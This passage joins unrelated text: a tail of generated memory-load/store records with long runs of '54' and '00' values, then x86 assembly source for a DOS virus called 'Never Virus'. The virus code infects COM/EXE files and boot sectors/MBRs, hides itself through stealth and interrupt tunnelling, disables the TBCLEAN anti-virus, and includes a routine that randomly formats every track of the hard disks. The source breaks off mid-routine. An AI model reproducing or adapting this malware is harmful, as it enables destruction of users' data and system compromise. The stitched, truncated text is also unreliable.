{'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'54': 20044, '00': 1785} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 54 00 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 00 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 00 54 54 54 00 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 00 54 54 54 54 54 00 00 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 00 54 54 54 54 54 00 54 54 54 54 54 54 54 00 54 00 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 00 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 00 54 00 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 00 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 00 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 00 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 00 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 00 54 54 54 54 54 54 00 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
;Never Virus ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic ;Tunnels ;Does other stuff ;link with eng.asm .model tiny .code file_size equ file_end - v_start sect_size equ (decrypt - v_start + 511) / 512 para_size equ (v_end - v_start + 15) / 16 kilo_size equ (v_end - v_start + 1023) / 1024 find_dos_13 equ tracer_dos_13 - (trace_mode + 1) find_13 equ tracer_13 - (trace_mode + 1) find_15 equ tracer_15 - (trace_mode + 1) find_21 equ tracer_21 - (trace_mode + 1) find_40 equ tracer_40 - (trace_mode + 1) step_21 equ tracer_step_21 - (trace_mode + 1) loader_size equ (OFFSET loader_end) - loader no_hook_21 equ new_13_next - (hook_21 + 1) yes_hook_21 equ check_21 - (hook_21 + 1) boot equ 0 file equ 1 years equ 100 shl 1 v_start: jmp decrypt ; push cs ; pop ds ; call copy_ints dw copy_ints - ($ + 2) ; save ints 13 15 21 40 mov ds:hook_21,al ; (0=yes_hook_21) hook 21h mov ds:origin,al ; (0=boot) remeber host mov es,ax ; ES=0 pop di sub di,3 ; address of loader in boot push ax di ; save return address 0:xxxx mov si,offset boot_code call move_boot_code1 ; copy and decode boot code mov al,13h mov dx,offset new_13 call set_int ; hook int 13h call inf_hard ; infect drive C: test byte ptr ds:load_head,dl ; DL=80h drive C:? je boot_retf mov ax,1ffh call random ; time to activate? jne boot_retf jmp kill_disk boot_retf: retf ; return to boot sector ;=====( Copy boot code and (en/de)crypt it )=================================; move_boot_code1:mov ah,ds:[si - 1] ; get key move_boot_code: mov cx,loader_size cld move_boot_loop: lodsb xor al,ah ; code/decode rol ah,1 stosb loop move_boot_loop retn ;=====( Code that was in boot sector before infection )======================; boot_code_key db ? boot_code db loader_size dup(?) ;=====( Gets inserted into infected Boot sectors/MBRs )======================; loader: call $ + 3 mov di,40h mov ds,di sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory mov ax,ds:[di-(40h-13h)] mov cl,0ah ror ax,cl ; get TOM address mov es,ax mov ax,200h + sect_size xor bx,bx mov cx,0 load_sect = $ - 2 mov dx,0 load_head = $ - 2 int 13h ; read code into memory jb load_fail push es bx ; address of high code retf load_fail: int 18h loader_end: ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================; copy_ints: push ds xor ax,ax mov ds,ax ; segment 0 mov si,13h * 4h mov di,offset int_13 push si si movsw movsw ; int 13h to int_13 pop si movsw movsw ; int 13h to dos_13 mov si,15h * 4h movsw movsw ; int 15h to int_15 pop si ; address of int 13h's IVT cmp byte ptr ds:[475h],al ; any hard disks? je copy_int_40 mov si,40h * 4h copy_int_40: movsw movsw ; copy int 13h/40h to int_40 mov si,21h * 4h movsw movsw ; int 21h to int_21 pop ds retn ;=====( get interrupt address )==============================================; get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,es:[bx] ; get int address pop ax retn ;=====( Set interrupt address )==============================================; set_int: push ax bx ds xor ah,ah rol ax,1 rol ax,1 xchg ax,bx xor ax,ax push ds mov ds,ax mov ds:[bx],dx pop ds:[bx + 2] pop ds bx ax retn push_all: pop cs:push_pop_ret pushf push ax bx cx dx bp si di ds es mov bp,sp push_pop_jmp: jmp cs:push_pop_ret pop_all: pop cs:push_pop_ret pop es ds di si bp dx cx bx ax popf jmp push_pop_jmp ;=====( Infect Drive C: )====================================================; inf_hard: push cs cs pop es ds mov ax,201h mov bx,offset disk_buff mov cx,1 mov dx,80h call call_13 ; read MBR of drive C: jb cant_inf_hard cmp ds:[bx.pt_start_head],ch ; Jackal? je cant_inf_hard mov cx,ds:[bx.pt_end_sector_track] and cx,0000000000111111b ; get sector count sub cx,sect_size jbe cant_inf_hard cmp cl,1 ; too few sectors? jbe cant_inf_hard call copy_loader ; copy loader into MBR jb cant_inf_hard push bx mov ax,300h + sect_size xor bx,bx call call_13 ; write code to hidden sectors pop bx jb cant_inf_hard mov ax,301h mov cl,1 call call_13 ; write infected MBR cant_inf_hard: retn ;=====( Copy Loader into disk_buff (BX) )====================================; copy_loader: push cx dx cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code? jne copy_load_no mov di,offset boot_code mov ds:[di+load_sect-boot_code],cx ; save track/sector and dl,80h ; Drive C: or A: mov ds:[di+load_head-boot_code],dx ; save head/disk call find_boot ; find code/already infected? je copy_load_no call random_1 ; get random key mov ds:[di - 1],ah ; save key at boot_code_key push si call move_boot_code ; save boot code and encrypt mov si,di ; offset of loader pop di ; boot code pointer mov cx,loader_size rep movsb ; copy loader into boot sect clc mov al,0 org $ - 1 copy_load_no: stc pop dx cx retn ;=====( Find start of boot sector's code )===================================; find_boot: mov si,bx cld lodsb ; get 1st instruction push ax lodsw ; Jump displacement (if jump) xchg cx,ax pop ax cmp al,0ebh ; Short jump? jne find_boot_jump xor ch,ch ; 8bit jump dec si jmp find_boot_add find_boot_jump: cmp al,0e9h ; Near Jump? je find_boot_add find_boot_noadd:sub cx,cx ; No displacement mov si,bx find_boot_add: add si,cx ; si=start of boot code cmp si,offset (disk_buff+200h) - (loader_size + 5) ; jump out of range? jnb find_boot_noadd cmp word ptr ds:[si],00e8h ; CALL -> already infected jne find_boot_ret cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf find_boot_ret: retn ;=====( Disable TBCLEAN )====================================================; anti_tbclean: xor ax,ax pushf pop dx and dh,not 1 ; TF off push dx dx popf push ss pop ss pushf ; Not trapped pop dx test dh,1 ; TF set? pop dx je anti_tb_ret push es xor bp,bp mov cx,ss cli mov ss,bp ; segment 0 les di,ss:[bp+1h*4h] ; address of int 1h mov ss,cx sti mov al,0cfh cld stosb ; IRET -> Int 1h pop es push dx popf anti_tb_ret: xchg bp,ax ; save result retn ;=====( Swap jump into DOS' int 13h )========================================; swap_13: call push_all mov si,offset jump_code_13 les di,cs:[si+dos_13-jump_code_13] ; get address in DOS jmp swap_code ;=====( Swap jump into DOS' int 21h )========================================; swap_21: call push_all mov si,offset jump_code_21 les di,cs:[si+int_21-jump_code_21] swap_code: push cs pop ds mov cx,5 cmp ds:origin,ch ; 0 -> Boot origin, no tunnel je swap_end cld swap_loop: lodsb xchg al,es:[di] mov ds:[si-1],al inc di loop swap_loop swap_end: call pop_all retn ;=====( Find original interrupt entry points )===============================; find_ints: call copy_ints ; get interrupt addresses mov ah,52h int 21h mov ax,es:[bx-2] mov ds:dos_seg,ax ; 1st MCB segment mov al,1h call get_int ; get address of int 1h push bx es mov dx,offset tracer call set_int ; hook int 1h pushf pop si mov di,offset trace_mode mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS ; and BIOS mov ah,1h call si_tf ; set TF call call_13 mov byte ptr ds:[di],find_15 ; find int 15h in BIOS mov ah,0c0h call si_tf ; set TF pushf call ds:int_15 mov byte ptr ds:[di],find_21 ; find int 21h in DOS mov ah,30h call si_tf ; set TF call call_21 mov byte ptr ds:[di],find_40 ; find int 40h in BIOS mov ah,1 call si_tf ; set TF call call_40 and si,not 100h push si popf ; disable Trapping pop ds dx mov al,1 call set_int ; unhook int 1h retn ;=====( Set TF in SI, then set flags to SI )=================================; si_tf: or si,100h push si popf retn ;=====( Tracing/Tunneling )==================================================; tracer: push ds push cs pop ds mov ds:old_di,di mov di,offset old_ax mov ds:[di],ax mov ds:[di+old_bx-old_ax],bx mov ds:[di+old_cx-old_ax],cx mov ds:[di+old_dx-old_ax],dx pop ds:[di-(old_ax-old_ds)] pop bx cx dx ; get IP, CS and Flags mov ax,cs cmp ax,cx ; In our CS? jne $ trace_mode = byte ptr $ - 1 jmp tracer_iret tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code? jnb tracer_cont mov di,offset dos_13 mov ds:trace_mode,find_13 ; find it in BIOS next jmp tracer_save_f tracer_21: cmp cx,1234h ; In DOS code? dos_seg = word ptr $ - 2 jnb tracer_cont mov di,offset int_21 tracer_save: and dh,not 1 ; TF off tracer_save_f: mov ds:[di],bx mov ds:[di + 2],cx ; save address of int jmp tracer_cont tracer_15: mov di,offset int_15 jmp tracer_bios tracer_40: mov di,offset int_40 jmp tracer_bios tracer_13: mov di,offset int_13 tracer_bios: cmp ch,0c8h ; Below BIOS? jb tracer_cont cmp ch,0f4h ; Above BIOS? jb tracer_save jmp tracer_cont tracer_step_21: dec ds:inst_count ; down counter jne tracer_cont push dx mov al,1 lds dx,ds:int_1 ; get int 1h address call set_int call swap_21 ; insert int 21h jump pop dx and dh,not 1h ; TF off tracer_cont: test dh,1 ; TF on? je tracer_iret get_inst: mov ds,cx ; instruction CS xor di,di get_inst1: mov ax,ds:[bx + di] ; get instruction cmp al,0f0h ; LOCK je skip_prefix cmp al,0f2h ; REPNE je skip_prefix cmp al,0f3h ; REPE? je skip_prefix cmp al,9ch ; PUSHF or above? jae emulate_pushf and al,11100111b ; 26,2e,36,3e = 26 cmp al,26h ; Segment Prefix? jne tracer_iret skip_prefix: inc di jmp get_inst1 emulate_pushf: jne emulate_popf and dh,not 1 ; TF off push dx ; fake PUSHF emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction emulate_tf: or dh,1 ; TF on jmp get_inst emulate_popf: cmp al,9dh ; POPF? jne emulate_iret pop dx ; fake POPF jmp emulate_next emulate_iret: cmp al,0cfh ; IRET? jne emulate_int pop bx cx dx ; fake IRET jmp emulate_tf emulate_int: cmp al,0cdh ; Int xx je emulate_int_xx cmp al,0cch ; Int 3? mov ah,3 je emulate_int_x cmp al,0ceh ; Into? mov ah,4 jne tracer_iret test dh,8 ; OF set? je tracer_iret emulate_int_x: dec bx ; [bx+di+2-1] emulate_int_xx: and dh,not 1 ; TF off lea bx,ds:[bx + di + 2] ; get return address push dx cx bx ; fake Int mov al,ah push es call get_int ; get interrupt address mov cx,es pop es jmp emulate_tf tracer_iret: push dx cx bx ; save flags, cs & ip mov ax,0 old_ds = word ptr $ - 2 mov ds,ax mov ax,0 old_ax = word ptr $ - 2 mov bx,0 old_bx = word ptr $ - 2 mov cx,0 old_cx = word ptr $ - 2 mov dx,0 old_dx = word ptr $ - 2 mov di,0 old_di = word ptr $ - 2 iret ;=====( file infections come here after decryption )=========================; file_start: push ds ; save PSP segment call $ + 3 pop si sub si,offset $ - 1 call anti_tbclean ; disable TBCLEAN or bp,bp ; TBCLEAN active? jne go_res mov ah,30h mov bx,-666h int 21h cmp al,3h ; must be DOS 3+ jb jump_host go_res: mov ax,es dec ax mov ds,ax sub di,di or bp,bp ; TBCLEAN here? jne dont_check_mcb cmp byte ptr ds:[di],'Z' ; Last Block? jne jump_host dont_check_mcb: mov ax,para_size sub ds:[di + 3],ax ; from MCB sub ds:[di + 12h],ax ; from PSP mov es,ds:[di + 12h] ; get memory address mov ds,di sub word ptr ds:[413h],kilo_size ; from int 12h mov cx,jump_code_13-v_start cld rep movs byte ptr es:[di],byte ptr cs:[si] mov ax,offset high_code push es ax retf jump_host: push cs pop ds pop es ; PSP segment lea si,ds:[si + header] ; get address of header mov ax,ds:[si] ; get 1st instruction cmp ax,'ZM' ; EXE? je jump_2_exe cmp ax,'MZ' ; EXE? je jump_2_exe mov cx,18h / 2 mov di,100h push es di cld rep movsw ; repair .COM file push es pop ds xchg ax,cx retf jump_2_exe: mov ax,es add ax,10h add ds:[si.eh_cs],ax add ax,ds:[si.eh_ss] ; get SS/CS push es pop ds cli mov ss,ax mov sp,cs:[si.eh_sp] xor ax,ax sti jmp dword ptr cs:[si.eh_ip] high_code: push cs pop ds mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel mov ax,2 call random ; 1 in 3 chance of no stealth ; on special programs mov ds:check_special,al mov ds:hook_21,no_hook_21 ; dont hook int 21h mov al,0eah stosb ; store at jump_code_13 mov ds:[di+4],al mov ax,offset new_13 stosw mov word ptr ds:[di+3],offset new_21 mov ds:[di],cs mov ds:[di+5],cs push di call find_ints ; trace interrupts pop di push cs pop ds mov ax,ds:dos_seg cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax ; found DOS' int 13h? ja call_inf_hard cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax ; found DOS' int 21h? ja call_inf_hard call swap_13 call swap_21 ; insert jumps into DOS call_inf_hard: call inf_hard ; infect drive C: or bp,bp ; ZF -> No TBCLEAN mov si,bp ; SI=0 if goto jump_host jne kill_disk jmp jump_host kill_disk: xor bx,bx mov es,bx ; table to use for format mov dl,80h ; Drive C: kill_next_disk: xor dh,dh ; head 0 kill_next_track:xor cx,cx ; track 0 kill_format: mov ax,501h call call_disk ; format track and cl,11000000b inc ch ; next track low jne kill_format add cl,40h ; next track high jne kill_format xor ah,ah int 13h ; reset disk inc dh ; next head cmp dh,10h jb kill_next_track inc dx ; next drive jmp kill_next_disk ;=====( Interrupt 13h handler )==============================================; new_13: jmp $ hook_21 = byte ptr $ - 1 check_21: call push_all mov al,21h call get_int ; get int 21h address mov ax,es push cs cs pop ds es cmp ax,800h ; too high? ja cant_hook_21 mov di,offset int_21 + 2 std xchg ax,ds:[di] ; swap addresses scasw ; did it change? je cant_hook_21 mov ds:[di],bx mov al,21h mov dx,offset new_21 call set_int ; hook int 21h mov ds:hook_21,no_hook_21 cant_hook_21: call pop_all new_13_next: cmp ah,2h ; Read? jne jump_13 cmp cx,1 ; track 0, sector 1? jne jump_13 or dh,dh ; head 0? je hide_boot jump_13: call call_dos_13 retf 2h hide_boot: call call_dos_13 ; read boot sector call push_all jb hide_boot_err push es cs pop es ds mov cx,100h mov si,bx mov di,offset disk_buff mov bx,di cld rep movsw ; copy boot sector to buffer push cs pop ds call find_boot ; find start/already infected? jne inf_boot mov ax,201h mov cx,ds:[si+load_sect-loader] mov dh,byte ptr ds:[si+(load_head+1)-loader] ; get code location call call_disk ; read virus code jb hide_boot_err mov ax,ds:[0] cmp ds:[bx],ax ; verify infection jne hide_boot_err mov di,ss:[bp.reg_bx] mov es,ss:[bp.reg_es] ; get caller's buffer sub si,bx ; displacement into boot sect. add di,si ; address of loader lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus call move_boot_code1 ; hide infection hide_boot_err: call pop_all retf 2h inf_boot: cmp dl,80h ; hard disk? jnb hide_boot_err mov ax,301h mov cx,1 call call_disk ; Write boot sector to disk ; CY -> Write-Protected jb hide_boot_err mov si,dx ; save drive # mov di,bx mov ax,ds:[di.bs_sectors] ; get number of sectors mov cx,ds:[di.bs_sectors_per_track] sub ds:[di.bs_sectors],cx ; prevent overwriting of code mov ds:hide_count,cx xor dx,dx or ax,ax ; error? je hide_boot_err jcxz hide_boot_err div cx or dx,dx ; even division? jne hide_boot_err mov bx,ds:[di.bs_heads] ; get number of heads or bx,bx je hide_boot_err div bx or dx,dx jne hide_boot_err dec ax mov ch,al ; last track mov cl,1 ; sector 1 dec bx mov dx,si ; drive mov dh,bl ; last head mov bx,di ; offset disk buffer call copy_loader ; Copy loader into Boot sector jb hide_boot_err mov ax,300h + sect_size xor bx,bx call call_disk jb hide_boot_err mov ax,301h mov bx,offset disk_buff mov cx,1 xor dh,dh call call_disk ; write boot sector to disk mov bx,ss:[bp.reg_bx] mov ds,ss:[bp.reg_es] ; get caller's buffer sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code hide_count = word ptr $ - 2 jmp hide_boot_err ;=====( Interrupt 21h handler )==============================================; new_21: cli mov cs:int_21_ss,ss mov cs:int_21_sp,sp ; save stack pointers push cs pop ss mov sp,offset temp_stack ; allocate stack sti call push_all in al,21h or al,2 ; disable keyboard out 21h,al push cs pop ds mov di,offset new_24 mov word ptr ds:[di-(new_24-handle)],bx ; save handle mov al,24h call get_int ; get address of int 24h mov word ptr ds:[di-(new_24-int_24)],bx mov word ptr ds:[di-(new_24-(int_24+2))],es mov word ptr ds:[di],03b0h ; MOV AL,3 mov byte ptr ds:[di+2],0cfh ; IRET mov dx,di call set_int ; hook int 24h call pop_all call swap_21 ; remove jump from int 21h call push_all cmp ah,30h ; get DOS version? jne is_dir_fcb add bx,666h ; looking for us? jnz is_dir_fcb mov ss:[bp.reg_ax],bx ; set DOS version=0 mov ss:[bp.reg_bx],bx jmp retf_21 is_dir_fcb: cmp ah,11h jb is_dir_asciiz cmp ah,12h ja is_dir_asciiz call call_21 ; do find or al,al ; error? je dir_fcb jmp jump_21 dir_fcb: call save_returns ; save AX call get_psp ; get current PSP mov ax,'HC' scasw ; CHKDSK? jne dir_fcb_ok mov ax,'DK' scasw jne dir_fcb_ok mov ax,'KS' scasw je retf_21 dir_fcb_ok: call get_dta ; get DTA address xor di,di cmp byte ptr ds:[bx],-1 ; extended FCB? jne dir_fcb_next mov di,7h ; fix it up dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI dir_hide: call is_specialfile ; no stealth if helper je retf_21 cmp byte ptr ds:[si],years ; infected? jc retf_21 sub byte ptr ds:[si],years ; restore old date les ax,ds:[bx+di.ds_size] ; get size of file mov cx,es sub ax,file_size ; hide size increase sbb cx,0 jc retf_21 mov word ptr ds:[bx+di.ds_size],ax mov word ptr ds:[bx+di.ds_size+2],cx ; save new size retf_21: call undo_24 ; unhook int 24h call pop_all call swap_21 ; insert jump cli mov ss,cs:int_21_ss mov sp,cs:int_21_sp sti retf 2 is_dir_asciiz: cmp ah,4eh jb is_lseek cmp ah,4fh ja is_lseek call call_21 jnc dir_asciiz go_jump_21: jmp jump_21 dir_asciiz: call save_returns ; save AX and flags call get_dta ; get dta address mov di,-3 lea si,ds:[bx.dta_date+1] ; get year address jmp dir_hide is_lseek: cmp ax,4202h ; Lseek to end? jne is_date call call_21_file jb go_jump_21 call get_dcb ; get DCB address jbe lseek_exit call is_specialfile ; dont hide true size from ; helpers je lseek_exit sub ax,file_size sbb dx,0 ; hide virus at end mov word ptr ds:[di.dcb_pos],ax mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB lseek_exit: clc call save_returns ; save AX/flags mov ss:[bp.reg_dx],dx jmp retf_21 is_date: cmp ax,5700h ; get date? je get_date cmp ax,5701h ; set date? jne is_read call get_dcb jbe date_err cmp dh,years ; already setting 100 years? jnb date_err add dh,years ; dont erase marker get_date: call is_specialfile ; do not hide date for ; helpers je date_err call call_21_file ; get/set date jnc date_check date_err: jmp jump_21 date_check: cmp dh,years ; infected? jb date_ok sub dh,years date_ok: clc call save_returns ; save ax/flags mov ss:[bp.reg_cx],cx mov ss:[bp.reg_dx],dx ; save time/date jmp retf_21 is_read: cmp ah,3fh ; reading file? je do_read no_read: jmp is_write do_read: call get_dcb ; get DCB address jbe no_read call is_specialfile je no_read les ax,ds:[di.dcb_size] ; get size of file mov bx,es les dx,ds:[di.dcb_pos] ; get current position mov si,es and cs:read_bytes,0 or si,si ; in 1st 64k? jnz read_high cmp dx,18h ; reading header? jnb read_high push cx add cx,dx cmc jnc read_above cmp cx,18h ; read goes above header? read_above: pop cx jb read_below mov cx,18h sub cx,dx read_below: push ax bx ; save size push dx ; position sub dx,18h add ax,dx ; get position in header cmc sbb bx,si xchg word ptr ds:[di.dcb_pos],ax xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header push ax bx push ds mov ah,3fh mov dx,ss:[bp.reg_dx] mov ds,ss:[bp.reg_ds] call call_21_file ; read file pop ds pop word ptr ds:[di.dcb_pos+2] pop word ptr ds:[di.dcb_pos] pop dx pushf add dx,ax ; adjust position add cs:read_bytes,ax ; remember # of bytes read popf pop bx ax jnc read_high jmp jump_21 read_high: mov word ptr ds:[di.dcb_pos],dx ; update position mov word ptr ds:[di.dcb_pos+2],si mov cx,ss:[bp.reg_cx] ; number of bytes to read sub cx,cs:read_bytes sub ax,file_size sbb bx,0 ; get original size push ax bx sub ax,dx sbb bx,si ; in virus now? pop bx ax jnc read_into xor cx,cx ; read 0 bytes jmp read_fake read_into: add dx,cx adc si,0 ; get position after read cmp bx,si ; read extends into virus? ja read_fake jb read_adjust cmp ax,dx jnb read_fake read_adjust: sub dx,cx ; get position again xchg cx,ax sub cx,dx ; # of bytes to read = Original size - Pos read_fake: mov ah,3fh mov dx,ss:[bp.reg_dx] add dx,cs:read_bytes mov ds,ss:[bp.reg_ds] call call_21_file ; read file jc read_exit add ax,0 read_bytes = word ptr $ - 2 clc read_exit: call save_returns jmp retf_21 is_write: cmp ah,40h ; write? je do_write no_write: jmp is_infect do_write: call get_dcb jbe no_write les ax,ds:[di.dcb_size] ; get file size mov bx,es sub ax,18h sbb bx,0 ; get header position xchg ax,word ptr ds:[di.dcb_pos] xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header push ax bx mov ax,2 xchg ax,ds:[di.dcb_mode] ; read/write mode push ax push ds cs pop ds es call read_header ; read 18h bytes pop es:[di.dcb_mode] ; restore access mode jc write_rest_pos mov word ptr es:[di.dcb_pos],ax mov word ptr es:[di.dcb_pos+2],ax ; lseek to start call write_header ; write old header jc write_rest_pos push es pop ds sub word ptr ds:[di.dcb_size],file_size sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years write_rest_pos: pop word ptr es:[di.dcb_pos+2] pop word ptr es:[di.dcb_pos] jmp jump_21 is_infect: cmp ah,3eh ; Close? je infect_3e cmp ax,4b00h ; Execute? je infect_4b jmp jump_21 infect_4b: mov ax,3d00h ; Open file cmp ax,0 org $ - 2 infect_3e: mov ah,45h ; Duplicate handle call int_2_bios ; lock out protection programs call call_21_file ; get handle mov cs:handle,ax mov ax,4408h cwd jc undo_bios call get_dcb ; get DCB for handle jb cant_infect jne cant_infect ; error/already infected mov bl,00111111b and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code mov dl,bl ; DX=00** inc bx ; 0=default,1=a,2=b,3=c,etc. call call_21 ; drive removable? mov cx,1h push cs pop es jc test_prot_drive dec ax ; 1=non-removable jz no_protect jmp test_protect test_prot_drive:cmp dl,1 ; A or B? ja no_protect test_protect: mov ax,201h mov bx,offset disk_buff int 13h ; read sector jc cant_infect mov ax,301h int 13h ; write it back jc cant_infect no_protect: inc cx ; CX=2 xchg cx,ds:[di.dcb_mode] ; read/write access mode push cx xor ax,ax xchg ah,ds:[di.dcb_attr] ; attribute=0 test ah,00000100b ; system file? push ax jne cant_system cbw cwd xchg ax,word ptr ds:[di.dcb_pos] xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0 push ax dx mov bp,-'OC' add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO jnz not_com mov bp,-'MO' add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM not_com: call infect pushf call get_dcb popf jc not_infected add byte ptr ds:[di.dcb_date+1],years ; add 100 years not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date pop word ptr ds:[di.dcb_pos+2] pop word ptr ds:[di.dcb_pos] cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute pop ds:[di.dcb_mode] ; restore access mode cant_infect: mov ah,3eh call call_21_file ; close file undo_bios: call int_2_bios ; restore interrupts ;=====( Jump on to int 21h )=================================================; jump_21: call undo_24 ; unhook int 24h push cs pop ds mov al,1h mov di,offset int_1 cmp byte ptr ds:[di+origin-int_1],al ; file origin? jne jump_21_1 call get_int ; get int 1h address mov ds:[di],bx mov ds:[di + 2],es mov byte ptr ds:[di+inst_count-int_1],5 mov ds:trace_mode,step_21 mov dx,offset tracer call set_int ; hook int 1h call pop_all push si pushf pop si call si_tf ; set TF pop si go_21: cli mov ss,cs:int_21_ss mov sp,cs:int_21_sp ; restore stack sti go_2_21: jmp cs:int_21 jump_21_1: call pop_all jmp go_21 ;=====( actual infection routine )===========================================; infect: push cs pop ds call read_header ; read first 18h bytes jc inf_bad_file mov si,dx mov di,offset work_header cld rep movsb ; copy header to work_header call get_dcb les ax,ds:[di.dcb_size] ; get file size mov dx,es mov word ptr ds:[di.dcb_pos],ax mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end push cs cs pop es ds mov cx,ds:[si] ; get first 2 bytes cmp cx,'MZ' ; .EXE file? je inf_exe cmp cx,'ZM' ; .EXE file? je inf_exe or dx,bp ; COM file and < 64k? jnz inf_bad_file cmp ax,0-(file_size+100) ja inf_bad_file cmp ax,1000 jb inf_bad_file mov byte ptr ds:[si],0e9h ; build jump inc ah ; Add PSP size (100h) push ax ; save IP for engine add ax,offset decrypt-103h ; get jump disp. (- PSP size) mov ds:[si+1],ax jmp append_vir inf_bad_file: stc retn inf_exe: cmp word ptr ds:[si.eh_max_mem],-1 jne inf_bad_file mov bp,ax mov di,dx ; save size in DI:BP 